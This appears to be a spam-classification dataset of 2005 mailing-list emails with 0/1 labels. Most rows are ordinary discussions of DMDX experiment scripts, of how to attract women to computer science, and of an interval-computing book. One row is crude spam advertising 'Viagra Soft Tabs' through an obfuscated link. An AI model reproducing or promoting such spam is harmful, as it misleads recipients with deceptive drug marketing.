register pressing the space bar due to some reason. I assume that space bar has a special function in DMDX and doesn't get mapped easily, if at all. If there are no other suggestions I will try to use your code as a last resort. Thank you, Arman -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Andy Sent: Monday, February 14, 2005 6:31 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] RE: Trouble mapping Spacebar for a response Dear Arman, try changing your bit to . I find it odd though that your space bar is called SpaceBar, something to do with the external keyboard? Also, here's some incredibly ugly (and probably incredibly inefficient) code I put together a while back that allowed me to remap responses to the buttons of a mouse. I bet there are much nicer examples on the DMDX list archive though. Best, Andy. F2 d7 . +1 * ""y"", ""top"", ""left"" ; -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Arman Abrahamyan Sent: 14 February 2005 00:54 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Trouble mapping Spacebar for a response Greetings ! I was trying to map a SpaceBar on computer keyboard for a response. However, it doesn't work. I could successfully map few other buttons (e.g. Left and Right Arrows, Backspace), but not the SpaceBar (I got the SpaceBar button name from TimeDX). I am using Acer TravelMate 8000 laptop with an external keyboard. I have tried to disconnect the external keyboard, but it didn't help either. Any ideas what could be a possible cause? Thank you for your help, Arman Here is an example of a code I am using: ---- $ ! HERE IS THE MAPPING PART; ! Here BackSpace works, but Space doesn't 1 ; $ \\ +111 ""Get ready !"" // * ""111.wav""; +112 ""Get ready !"" // * ""112.wav""; +113 ""Get ready !"" // * ""113.wav""; +121 ""Get ready !"" // * ""121.wav""; +122 ""Get ready !"" // * ""122.wav""; +123 ""Get ready !"" // * ""123.wav""; +131 ""Get ready !"" // * ""131.wav""; +132 ""Get ready !"" // * ""132.wav""; +133 ""Get ready !"" // * ""133.wav""; \\ $ 0 ""THAT IS IT, THANK YOU"" l; $ ----- ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. 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He did not turn to see ",1,1 Sarah Orjada ,DMDX@psy1.psych.arizona.edu,"Mon, 14 Feb 2005 21:50:45 +0000",[DMDX] tachistoscopic presentation script?,"hello- i'm planning a study that i'll outline: there will be a paragraph of context presented line by line, for which i need to record reading time for the final sentence of each paragraph. then a word will be presented tachistoscopically to a visual field. the subject is then to answer yes or no using a key pad response whether the presented word ""goes with"" the previous context. my question is...is there a script that has been already written to use in DMDX for something similar? in particular, i need to make sure the timing of the tach. presentation is perfect, as well as the placement of the word in a specific part of the visual field. if something has already been designed, i'm guessing that it might be of higher quality than were i to write the script myself. thanks, sarah ",0,0 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Mon, 14 Feb 2005 17:29:45 -0700",[DMDX] RE: tachistoscopic presentation script?,"Sara, I don't know of any existing script, but the following should do what you want. --k.i.f. 0 ""Instructions""; 0 ""Press the spacebar to continue.""; =1 *""The boy went behind the desk""; =2 *""and found an old typewriter,""; =3 *""which he dropped out of the window""; =4 *""which was on the seventh floor.""; +5 %20 / %3 *"" CRASH""/ ; ! This is a left field - right-field contrast; 0 ""Press the spacebar to continue.""; ! The left field version would look like this""; +5 %20 / %3 *""CRASH ""/ ; 0 ""Press the spacebar to continue.""; ! If you want fancier positioning, then you need to use the x-y co-ordinates. For example--""; +5 %20 / %3 * ""CRASH""/ ; 0 ""Press the spacebar to continue.""; +5 %20 / %3 * ""CRASH""/ ; ! See the help file for details.; 0 ""That's the end. Thank you!""; > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX- > owner@psy1.psych.arizona.edu] On Behalf Of Sarah Orjada > Sent: Monday, February 14, 2005 2:51 PM > To: DMDX@psy1.psych.arizona.edu > Subject: [DMDX] tachistoscopic presentation script? > > hello- > i'm planning a study that i'll outline: > there will be a paragraph of context presented line by line, for which i > need to record reading time for the final sentence of each paragraph. then > a > word will be presented tachistoscopically to a visual field. the subject > is > then to answer yes or no using a key pad response whether the presented > word > ""goes with"" the previous context. > my question is...is there a script that has been already written to use in > DMDX for something similar? in particular, i need to make sure the timing > of > the tach. presentation is perfect, as well as the placement of the word in > a > specific part of the visual field. if something has already been designed, > i'm guessing that it might be of higher quality than were i to write the > script myself. > thanks, > sarah > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ====================================================================",0,1 ericson@cc.gatech.edu,AP Computer Science ,"Mon, 14 Feb 2005 08:55:20 -0500",[ap-compsci] Attracting women to CS,"Several people have posted that you have to really 'love' programming and you have to be able to handle the 'picky details' to be in computing. This is true if you want to be a professional programmer. It isn't necessarily true if you want a carrer in computing. Many computer scientist don't program. This is somewhat like saying you have to love to read to be a literature professor. Certainly you need to know how to read but that isn't the most important thing. Also my point about many girls not wanting to 'eat', 'sleep' and 'breathe' computers doesn't mean that they can't be great computing professionals. This is more saying that girls and women want a balance in their lives. They don't want to be the stereotype of a hacker who never bathes and stays up all night writing code and has no life. This doesn't mean that they don't enjoy programming, it just isn't what they want to do every waking hour. We need to let girls and women know that they don't have to match that sterotype to be interested in computing and to make a carrer out of it. Yes, there are people who match that sterotype but there are many more who don't. One of the things that surprises comp sci majors is how creative computing is once they get past the early courses. We need to show that it can be creative before people lose interest in it. Yes, there is a certain amount of picky detail in programming. But, we can create assignments that allow for creativity and don't just focus on the picky details. Computing can and should be fun. Computers let us create all sorts of things. One of the things that turns people off of computing courses is an overemphasis on math. Yes, computing uses math, but it doesn't have to be the main focus of the course. Just how interesting is coverting temperatures or calculating sales tax? To most students this is very boring stuff. At Georgia Tech we are using media manipulation to teach an intro course and many students (especially women) are finding it more interesting than the usual assignments. It also allows people to do creative assignments with their own pictures and sounds. I know many of the AP teachers are math teachers and you love math. Just realize that a great many people don't love math. So if we want to attract more people to CS let's try to create interesting, creative, AP courses. Barb Ericson Georgia Tech --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 Jason Cordes ,AP Computer Science ,"Sun, 13 Feb 2005 19:54:38 -0600",[ap-compsci] Re: Attracting women to computing,"My current issue is keeping the boys in class from hitting on the girls. That's driving away many of my best girls. -- Jason Cordes Teacher (Computer Science, Web Design) http://www.frenzy.com/~jaebear http://mail.bryanisd.org/~jcordes --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 David.Green@dpsnc.net,AP Computer Science ,"Tue, 15 Feb 2005 12:21:45 -0500",[ap-compsci] Re: Attracting women to CS,"Barb Ericson makes an eloquent plea for non-picky programming. << .... One of the things that turns people off of computing courses is an overemphasis on math. Yes, computing uses math, but it doesn't have to be the main focus of the course. Just how interesting is coverting temperatures or calculating sales tax? To most students this is very boring stuff. At Georgia Tech we are using media manipulation to teach an intro course and many students (especially women) are finding it more interesting than the usual assignments. It also allows people to do creative assignments with their own pictures and sounds. .... >> It always amazes me that one NEVER sees a college professor make a plea that a course should reduce its reading or writing but it is OK to deemphasize the single greatest tool ever invented to communicate quantitative ideas (math). Why is that?? I do not understand?? In the same paragraph above one sees the phrase ""media manipulation"" which in my limited understanding of English means almost nothing. One meaning could be manipulation of graphics objects on the screen. If this is the case, there is a tremendous amount of math going on under the skin. Do the kids learn how to do the manipulations without ever learning HOW they are actually accomplished? BTW: I am doing this form of ""media manipulation"" in my AP class right now as a sneaky way to make inheritance and polymorphism a tiny bit clearer (I hope). BTW2: They have a starter toolbox that includes scaling and rotation and Orbiting that all use math I assume they will learn other places so I guess I am agreeing with Barb that sometimes it is good to deemphsize the math for other points. The kids seem perfectly happy to use the toolbox as a ""black box"". BTW3: I am conflicted - I personnally hate to use tools (especially computer tools) that I don't have a clear understanding of their internals BUT I do it all the time. I don't really have a clue how the clever folks at MS handle the windowing of a word document and I TAUGHT one of the lead programmers on that project (he worked from late 80's into the mid-late 90's when he retired!!) David Green Physics and Computer Science Teacher at Jordan HS (919) 560-3912 x12300 --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992",0,1 Josh Paley ,AP Computer Science ,"Tue, 15 Feb 2005 00:28:19 -0800",[ap-compsci] Re: Attracting women to CS,"Discussions of this topic remind me of the article by Ellen Spertus back in 1991, entitled, ""Why are There so Few Female Computer Scientists?"" If I am not mistaken, this was mandatory reading for MIT faculty. Here's the link: http://www.mills.edu/ACAD_INFO/MCS/SPERTUS/Gender/pap/pap.html If any of you out there have other articles on gender and computing, please drop me an email. I do not, for one second, buy the argument that one must live and breathe computing to be good at it. I know too many people whose lives defy the assertion. Rather, I worry very much, based on the literature of which I am aware, that such an attitude may well discourage girls--and some boys, for that matter--from participating in computing fields. Just my opinion. Josh Paley, Teacher Computer Science and Mathematics Henry M. Gunn High School Palo Alto, CA --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 """Mulkey, Dave"" ",AP Computer Science ,"Tue, 15 Feb 2005 11:17:41 +0100",[ap-compsci] RE: Attracting women to CS,"Yes, I am a math teacher, and yes, I do love math. Which brings to mind a story about math and computing. We offer a class called Computer Graphics to grade 10 students. The students do lots of graphic design and web design. And we do some programming so they can decide whether they might like programming enough to do a programming course. Early on in a programming unit (programming a video game in Blitz Basic), I noticed that one of the girls in the class was sneaking off into a chat site instead of working on the program. I was surprised, as she is usually quite productive. She said, ""Look at all those numbers!"" She was talking about the screen coordinates of the objects in the game, which appeared all over the place in the program code. She said, ""I hate numbers"". She really meant it! She was absolutely unwilling to deal with anything associated with numbers. This phobia was so extreme that the counselor permitted her to drop her math class and do Computer Graphics instead, so it was a real disappointment for her when numbers showed up in computer class. I agree that you don't need to ""love"" programming in order to do something with computers, any more than you must ""love"" math in order to take a high school math class. But we do rely heavily on innate motivation in computer classes - which are mostly elective classes in high school - as computer classes involve a productive, active situation as opposed to the passive, receptive situation in many other classrooms. As far as the picky-detail syndrome is concerned, my experience has been that high school students - both boys and girls - don't generally have sufficient self-discipline to deal with the picky details, and very few ever show any interest in it. Their most common lament: ""It SHOULD work"". When I locate their mistake, they say, ""Oh, is THAT all it was?"" A primary teaching goal in computer classes must be to develop more self-discipline and patience in our students, and to enable them to deal successfully with picky details. -- BUT -- picky details are not the only thing, nor the most important thing, in programming, web-design, hardware engineering, etc. I agree that Computer Science is a highly creative field, and there is a lot more to success than just writing correct code in either Java or HTML. Rather than looking at this issue as ""attracting WOMEN to CS"", perhaps we could consider the fact that the vast majority of males don't study Computer Science either, and that the computer industry suffers from a lack of Computer Science graduates. If we can make Computer Science more attractive and or doable for ALL people, regardless of gender, that would be a Good Thing, for both genders. -----Original Message----- From: ericson@cc.gatech.edu [mailto:ericson@cc.gatech.edu] Sent: Monday, February 14, 2005 2:55 PM To: AP Computer Science Subject: [ap-compsci] Attracting women to CS Several people have posted that you have to really 'love' programming and you have to be able to handle the 'picky details' to be in computing. This is true if you want to be a professional programmer. It isn't necessarily true if you want a carrer in computing. Many computer scientist don't program. This is somewhat like saying you have to love to read to be a literature professor. Certainly you need to know how to read but that isn't the most important thing. Also my point about many girls not wanting to 'eat', 'sleep' and 'breathe' computers doesn't mean that they can't be great computing professionals. This is more saying that girls and women want a balance in their lives. They don't want to be the stereotype of a hacker who never bathes and stays up all night writing code and has no life. This doesn't mean that they don't enjoy programming, it just isn't what they want to do every waking hour. We need to let girls and women know that they don't have to match that sterotype to be interested in computing and to make a carrer out of it. Yes, there are people who match that sterotype but there are many more who don't. One of the things that surprises comp sci majors is how creative computing is once they get past the early courses. We need to show that it can be creative before people lose interest in it. Yes, there is a certain amount of picky detail in programming. But, we can create assignments that allow for creativity and don't just focus on the picky details. Computing can and should be fun. Computers let us create all sorts of things. One of the things that turns people off of computing courses is an overemphasis on math. Yes, computing uses math, but it doesn't have to be the main focus of the course. Just how interesting is coverting temperatures or calculating sales tax? To most students this is very boring stuff. At Georgia Tech we are using media manipulation to teach an intro course and many students (especially women) are finding it more interesting than the usual assignments. It also allows people to do creative assignments with their own pictures and sounds. I know many of the AP teachers are math teachers and you love math. Just realize that a great many people don't love math. So if we want to attract more people to CS let's try to create interesting, creative, AP courses. Barb Ericson Georgia Tech --- You are currently subscribed to ap-compsci as: DAVE_MULKEY@fis.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=a p-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 Corinna Schultz ,AP Computer Science ,"Tue, 15 Feb 2005 09:58:25 -0600",[ap-compsci] Re: Attracting women to CS,"Many of my students have expressed interest in media, such as game design, computer animation, 3D modeling, special effects. I know very little about these fields -- my real-world experience is in server-side web programming. But, I start my course with chapter 1 of Objects First (the shapes project to get used to the environment of BlueJ), then Chapter 1 of Java Au Naturel (Turtle graphics, to get used to creating and using objects, and introducing while loops and methods). They get excited by seeing pictures on the screen -- being able to animate a circle, or draw a house or a spiral. In fact, with the spiral, which involves just a while loop and a counter variable, they get to see changes in the picture as they play with the numbers. It makes numbers more concrete while giving them something ""cool"" to print out. Plus, when I started doing System.out.println and using EasyReader, one of the first questions I got was ""can I make it say anything I want"" and I said, yes, keep it G-rated, and edit the language before you turn it in. :) There is a fascination with being able to have control of the computer. My class is a wide mix of ability, as our program is still new, we're on block schedule, and I can't be picky about pre-reqs. My problem now, is that I'm into the more abstract details of parameters, data types, local variables, instance variables, and tons of new terminology (right now we're working on a guess-the-number game class involving boolean methods, and boolean expressions in if statements). I'm losing them a bit in the details. I'm still trying to figure out how to balance the presentation of new concepts with interesting practice at the computer. I'm going to try JOptionPane and JTextArea as a substitute for System.out.println, and see what happens... -Corinna Schultz ericson@cc.gatech.edu wrote: >Several people have posted that you have to really 'love' programming and >you have to be able to handle the 'picky details' to be in computing. >This is true if you want to be a professional programmer. It isn't >necessarily true if you want a carrer in computing. Many computer >scientist don't program. This is somewhat like saying you have to love to >read to be a literature professor. Certainly you need to know how to read >but that isn't the most important thing. > >Also my point about many girls not wanting to 'eat', 'sleep' and 'breathe' >computers doesn't mean that they can't be great computing professionals. >This is more saying that girls and women want a balance in their lives. >They don't want to be the stereotype of a hacker who never bathes and >stays up all night writing code and has no life. This doesn't mean that >they don't enjoy programming, it just isn't what they want to do every >waking hour. We need to let girls and women know that they don't have to >match that sterotype to be interested in computing and to make a carrer >out of it. Yes, there are people who match that sterotype but there are >many more who don't. > >One of the things that surprises comp sci majors is how creative computing >is once they get past the early courses. We need to show that it can be >creative before people lose interest in it. > >Yes, there is a certain amount of picky detail in programming. But, we >can create assignments that allow for creativity and don't just focus on >the picky details. Computing can and should be fun. Computers let us >create all sorts of things. > >One of the things that turns people off of computing courses is an >overemphasis on math. Yes, computing uses math, but it doesn't have to be >the main focus of the course. Just how interesting is coverting >temperatures or calculating sales tax? To most students this is very >boring stuff. At Georgia Tech we are using media manipulation to teach an >intro course and many students (especially women) are finding it more >interesting than the usual assignments. It also allows people to do >creative assignments with their own pictures and sounds. > >I know many of the AP teachers are math teachers and you love math. Just >realize that a great many people don't love math. So if we want to >attract >more people to CS let's try to create interesting, creative, AP courses. > >Barb Ericson >Georgia Tech > >--- >You are currently subscribed to ap-compsci as: schultz@harlingen.isd.tenet.edu > >To unsubscribe send a blank email to >leave-ap-compsci@lyris.collegeboard.com > >To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci > >If you need help using Lyris web interface go to: >http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html > >Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com > >The College Board >45 Columbus Avenue >New York, NY 10023-6992 > > > --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 Michael Lee ,AP Computer Science ,"Tue, 15 Feb 2005 04:10:01 -0800",[ap-compsci] Re: Attracting women to CS,"I have worked in the non-programming side of CS for 15 years before becomming a teacher. Picky Details are at the HEART of Computer Science. Mess up a ""picky detail"" and you could be looking for a new job. Fine, girls don't want to be hackers... but why are you ASSUMING that every example every one uses is a ""geek"" example? My intro into classes and objects was a cake baking company. I take exception to your messages, because they ASSUME that no one is doing anything, or very little, to attract women to CS. Why don't you send a letter to MTV, Jessica Simpson is doing more to damage careers in CS for women than Bill Gates is. Michael Lee --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 Vladik Kreinovich ,reliable_computing@interval.louisiana.edu,"Tue, 15 Feb 2005 22:27:11 -0700",a book of potential interest to interval researchers,"Forwarding, from NA Digest ****************************************** From: Jan Chleboun Date: Wed, 9 Feb 2005 12:09:50 +0100 (CET) Subject: New Book on Uncertain Input Data Uncertain Input Data Problems and the Worst Scenario Method by Ivan Hlavacek, Jan Chleboun, and Ivo Babuska; North-Holland Series in Applied Mathematics and Mechanics, Volume 46, Elsevier, Amsterdam, December 2004. Hardback, xxvi+458 pages, ISBN: 0-444-51435-X This book deals with the impact of uncertainty in input data on the outputs of mathematical models. Uncertain inputs as scalars, tensors, functions, or domain boundaries are considered. In practical terms, material parameters or constitutive laws, for instance, are uncertain, and quantities as local temperature, local mechanical stress, or local displacement are monitored. The goal of the worst scenario method is to extremize the quantity over the set of uncertain input data. A general mathematical scheme of the worst scenario method, including approximation by finite element methods, is presented, and then applied to various state problems modeled by differential equations or variational inequalities: nonlinear heat flow, Timoshenko beam vibration and buckling, plate buckling, contact problems in elasticity and thermoelasticity with and without friction, and various models of plastic deformation, to list some of the topics. Dozens of examples, figures, and tables are included. More details can be found at http://books.elsevier.com/elsevier/?isbn=044451435X Jan Chleboun Mathematical Institute Academy of Sciences Zitna 25 ( TeX: \\v{Z}itn\\'a ) 115 67 Prague 1 Czech Republic e-mail: chleb@math.cas.cz",0,1 jacke-erdbeer ,DMDX@psy1.psych.arizona.edu,,You always wanted to use your penis as a billiards cue. ,http://iqd.v7i2i2jc011tzvdp0vvp0ddv.amoralin.com Do you think your marriage i$ getting ru1ned because of bad sex? Viagra Soft Tabs will help you save your marriage.,1,1 Ray Moore ,"Vladik Kreinovich , reliable_computing@interval.louisiana.edu","Wed, 16 Feb 2005 07:00:51 -0500",Re: a book of potential interest to interval researchers,"It seems odd to me that there is no mention of interval computation in the book. Ray Moore ----- Original Message ----- From: ""Vladik Kreinovich"" To: Cc: Sent: Wednesday, February 16, 2005 12:27 AM Subject: a book of potential interest to interval researchers > Forwarding, from NA Digest > ****************************************** > From: Jan Chleboun > Date: Wed, 9 Feb 2005 12:09:50 +0100 (CET) > Subject: New Book on Uncertain Input Data > > Uncertain Input Data Problems and the Worst Scenario Method > by Ivan Hlavacek, Jan Chleboun, and Ivo Babuska; > North-Holland Series in Applied Mathematics and Mechanics, Volume 46, > Elsevier, Amsterdam, December 2004. > Hardback, xxvi+458 pages, ISBN: 0-444-51435-X > > This book deals with the impact of uncertainty in input data on the > outputs of mathematical models. Uncertain inputs as scalars, tensors, > functions, or domain boundaries are considered. In practical terms, > material parameters or constitutive laws, for instance, are uncertain, and > quantities as local temperature, local mechanical stress, or local > displacement are monitored. The goal of the worst scenario method is to > extremize the quantity over the set of uncertain input data. > > A general mathematical scheme of the worst scenario method, including > approximation by finite element methods, is presented, and then applied to > various state problems modeled by differential equations or variational > inequalities: nonlinear heat flow, Timoshenko beam vibration and buckling, > plate buckling, contact problems in elasticity and thermoelasticity with > and without friction, and various models of plastic deformation, to list > some of the topics. Dozens of examples, figures, and tables are included. > > More details can be found at > http://books.elsevier.com/elsevier/?isbn=044451435X > > Jan Chleboun > Mathematical Institute > Academy of Sciences > Zitna 25 ( TeX: \\v{Z}itn\\'a ) > 115 67 Prague 1 > Czech Republic > e-mail: chleb@math.cas.cz > >",0,1 tanya dolis ,DMDX@psy1.psych.arizona.edu,"Wed, 16 Feb 2005 14:53:42 +0100",[DMDX] maze command line/ randomization,"! Practice Items =1 *"" This""/; -1 *"" information cars""; +1 *"" wet must""; +1 *"" rabbit be""; -1 *"" kept bed""; +1 *"" sanitation. secret.""; this is the command line and first practice item for my maze experiment. i find myself confronted with several problems: 1. the first word- ""this""- does not get displayed. 2. i don't really know how to randomize all real items but not the practice items. i first thought that i' d group the practice items together and then have them be the seed for the randomization but then from what i have understood the randomized order would stay the same for all items which is unwanted. thank you for your help, tanya dolis ______________________________________________________________ Verschicken Sie romantische, coole und witzige Bilder per SMS! Jetzt bei WEB.DE FreeMail: http://f.web.de/?mc=021193",0,1 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Wed, 16 Feb 2005 09:19:05 -0700",[DMDX] RE: maze command line/ randomization,"Tanya, > > > > ! Practice Items > > =1 *"" This""/; > -1 *"" information cars""; > +1 *"" wet must""; > +1 *"" rabbit be""; > -1 *"" kept bed""; > +1 *"" sanitation. secret.""; > > this is the command line and first practice item for my maze experiment. i > find myself confronted with several problems: > > 1. the first word- ""this""- does not get displayed. The forward slash schedules a blank frame which erases the previous frame, where ""This"" would appear. You don't see it because there is no default frame duration, e.g., . But you don't need it -- you want the word to stay on the screen until the subject responds. > 2. i don't really know how to randomize all real items but not the > practice items. i first thought that i' d group the practice items > together and then have them be the seed for the randomization but then > from what i have understood the randomized order would stay the same for > all items which is unwanted. If you insert a $ sign before a group of items, and again at the end, those items appear in that position in a fixed sequence. But if you scramble a MAZE file, the individual items that make up the sentence will get scrambled. One way to cope is to set a grouping factor, e.g., . This effectively defines a group of 12 items to be a single item as far as scrambling is concerned. This means you'd have to make all your sentences the same length (12 words in this case). If some are shorter, you can include ""dummy"" items, such as in the following: =1 *"" This""; -2 *"" information cars""; +3 *"" wet must""; +4 *"" rabbit be""; -5 *"" kept bed""; +6 *"" sanitation. secret.""; 0 c; 0 c; 0 c; 0 c; 0 c; 0 c; These are ""instructions"" that don't display anything. The ""c"" is necessary to reinstate continuous running so that DMDX goes on to the next item without waiting. So, if you had 20 sentences, you'd include on the parameter line. There are more sophisticated procedures that achieve the same effect. I have developed an Excel template for constructing MAZE files. If you are interested let me know (mail to me not the list). --k.i.f. > > thank you for your help, > > tanya dolis > ______________________________________________________________ > Verschicken Sie romantische, coole und witzige Bilder per SMS! > Jetzt bei WEB.DE FreeMail: http://f.web.de/?mc=021193 > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ====================================================================",0,1 Vladik Kreinovich ,"vladik@cs.utep.edu, reliable_computing@interval.louisiana.edu, rmoore17@columbus.rr.com","Wed, 16 Feb 2005 08:26:36 -0700",Re: a book of potential interest to interval researchers,"Dear Ray, I agree with you 100%. There may be a mention of intervals inside, but it is unusul that these techniques are not mentioned in the general description - while the topic seems to be taylor-made for the interval techniques. That is why I forwarded this information to the interval mailing list: that this is an overview of the problems where interval will probably help and are not under-used. As you may remember from some of my previous email, I am currently starting to work together with Dr. Pavel Solin, one of the former co-workers of Dr. Babuska (he invited Babuska to El Paso last year). From my experience of working with Dr. Solin, he is enthusaistic about all possible techniques, he is just not that familiar with interval techniques and their capabilities. I think this is one more opportunity for us to teach our techniques to a new set of folks, and by collaborating with them convince them that interval techniques should definitely be a part of their toolbox. In my experience of working with engineers and applied mathematicians, sometimes the problem is that they do not appreciate th eneed for validated guaranteed worts-case estimates. This book is an example of an area where the problem is well-understood and since this problem is exactly what our interval techniques are good at solving, there is a great potential of using these techniques. This is one of the reasons why I am so enthusiastic about this book and potential for usese of interval techniques. Vladik > From: ""Ray Moore"" > To: ""Vladik Kreinovich"" , > Cc: > Subject: Re: a book of potential interest to interval researchers > Date: Wed, 16 Feb 2005 07:00:51 -0500 > MIME-Version: 1.0 > Content-Transfer-Encoding: 7bit > X-Priority: 3 > X-MSMail-Priority: Normal > X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 > X-Virus-Scanned: Symantec AntiVirus Scan Engine > > It seems odd to me that there is no mention of interval computation in the > book. > > Ray Moore > > ----- Original Message ----- > From: ""Vladik Kreinovich"" > To: > Cc: > Sent: Wednesday, February 16, 2005 12:27 AM > Subject: a book of potential interest to interval researchers > > > > Forwarding, from NA Digest > > ****************************************** > > From: Jan Chleboun > > Date: Wed, 9 Feb 2005 12:09:50 +0100 (CET) > > Subject: New Book on Uncertain Input Data > > > > Uncertain Input Data Problems and the Worst Scenario Method > > by Ivan Hlavacek, Jan Chleboun, and Ivo Babuska; > > North-Holland Series in Applied Mathematics and Mechanics, Volume 46, > > Elsevier, Amsterdam, December 2004. > > Hardback, xxvi+458 pages, ISBN: 0-444-51435-X > > > > This book deals with the impact of uncertainty in input data on the > > outputs of mathematical models. Uncertain inputs as scalars, tensors, > > functions, or domain boundaries are considered. In practical terms, > > material parameters or constitutive laws, for instance, are uncertain, and > > quantities as local temperature, local mechanical stress, or local > > displacement are monitored. The goal of the worst scenario method is to > > extremize the quantity over the set of uncertain input data. > > > > A general mathematical scheme of the worst scenario method, including > > approximation by finite element methods, is presented, and then applied to > > various state problems modeled by differential equations or variational > > inequalities: nonlinear heat flow, Timoshenko beam vibration and buckling, > > plate buckling, contact problems in elasticity and thermoelasticity with > > and without friction, and various models of plastic deformation, to list > > some of the topics. Dozens of examples, figures, and tables are included. > > > > More details can be found at > > http://books.elsevier.com/elsevier/?isbn=044451435X > > > > Jan Chleboun > > Mathematical Institute > > Academy of Sciences > > Zitna 25 ( TeX: \\v{Z}itn\\'a ) > > 115 67 Prague 1 > > Czech Republic > > e-mail: chleb@math.cas.cz > > > >",0,1 Vladik Kreinovich ,reliable_computing@interval.louisiana.edu,"Wed, 16 Feb 2005 09:24:27 -0700",a course of potential interest to interval researchers,"Dear Friends, As many of you know, I have recently joined a group of people interested in extended interval techniques to the situations when, in addition to guaranteed (interval) bounds, we also have some partial information about the probability of different values within the corresponding intervals. This activivity was pioneered by Ray Moore himself in his 1980s papers, Dan Berleant has a website (easily acceissble from the interval webpage) on probabilities and intervals. For control applications, this activity was done in 1990s by Bob Barmish, the author of one of the most well-known books on interval-based (robust) control. >From this viewpoint, the following course may be of interest to many researchers from our community. Many thanks to Greg Coxson for brining this to our attention. ------------- Begin Forwarded Message ------------- Date: Wed, 16 Feb 2005 09:19:51 -0500 From: ""Coxson, Gregory E"" I wonder if those in the group would be interested in this that I took off the Control Theory eLetter. ... Course on Randomized 